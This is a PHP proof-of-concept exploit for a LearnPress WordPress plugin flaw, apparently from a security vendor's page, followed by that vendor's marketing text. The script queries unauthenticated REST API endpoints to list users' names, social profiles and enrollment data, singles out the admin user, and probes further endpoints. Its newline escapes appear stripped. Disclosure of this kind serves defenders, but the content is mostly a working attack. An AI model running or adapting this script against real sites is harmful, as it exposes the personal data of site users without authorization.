// CVE-2025-14798 - LearnPress – WordPress LMS Plugin <= 4.3.2.4 - Missing Authorization to Unauthenticated Sensitive User Information Disclosure via REST API

<?php
/**
 * Proof of Concept for CVE-2025-14798
 * LearnPress User Information Disclosure via REST API
 * 
 * This script demonstrates how unauthenticated attackers can extract
 * sensitive user information from vulnerable LearnPress installations.
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS

// Set up cURL options
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Test the main LearnPress REST API endpoint
$api_endpoint = $target_url . '/wp-json/learnpress/v1/users';
curl_setopt($ch, CURLOPT_URL, $api_endpoint);

echo "[+] Testing LearnPress REST API endpoint: $api_endpointn";

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "[+] SUCCESS: REST API endpoint accessible without authenticationn";
    $data = json_decode($response, true);
    
    if (is_array($data) && !empty($data)) {
        echo "[+] Found user data:n";
        foreach ($data as $user) {
            if (isset($user['id'])) {
                echo "  User ID: " . $user['id'] . "n";
                if (isset($user['first_name'])) {
                    echo "    First Name: " . $user['first_name'] . "n";
                }
                if (isset($user['last_name'])) {
                    echo "    Last Name: " . $user['last_name'] . "n";
                }
                if (isset($user['social_profiles'])) {
                    echo "    Social Profiles: " . json_encode($user['social_profiles']) . "n";
                }
                if (isset($user['enrollment'])) {
                    echo "    Enrollment Status: " . json_encode($user['enrollment']) . "n";
                }
                echo "n";
            }
        }
    } else {
        echo "[-] No user data returned or invalid JSON responsen";
        echo "Raw response: " . $response . "n";
    }
} else {
    echo "[-] Failed to access endpoint. HTTP Code: $http_coden";
    echo "Response: " . $response . "n";
}

// Test specific user endpoint
$user_id = 1; // Try to get admin user
$user_endpoint = $target_url . "/wp-json/learnpress/v1/users/$user_id";
curl_setopt($ch, CURLOPT_URL, $user_endpoint);

echo "n[+] Testing specific user endpoint: $user_endpointn";

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "[+] SUCCESS: Specific user data accessible without authenticationn";
    $user_data = json_decode($response, true);
    
    if (is_array($user_data) && !empty($user_data)) {
        echo "User Details:n";
        print_r($user_data);
    }
} else {
    echo "[-] Failed to access specific user. HTTP Code: $http_coden";
}

curl_close($ch);

// Test alternative endpoints that might expose user information
$endpoints = [
    '/wp-json/learnpress/v1/profile',
    '/wp-json/learnpress/v1/students',
    '/wp-json/learnpress/v1/instructors'
];

echo "n[+] Testing additional LearnPress endpoints:n";

foreach ($endpoints as $endpoint) {
    $ch = curl_init($target_url . $endpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 200) {
        echo "  [+] $endpoint - Accessible (HTTP 200)n";
        $data = json_decode($response, true);
        if (is_array($data) && count($data) > 0) {
            echo "    Found " . count($data) . " itemsn";
        }
    } else {
        echo "  [-] $endpoint - Not accessible (HTTP $http_code)n";
    }
    
    curl_close($ch);
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School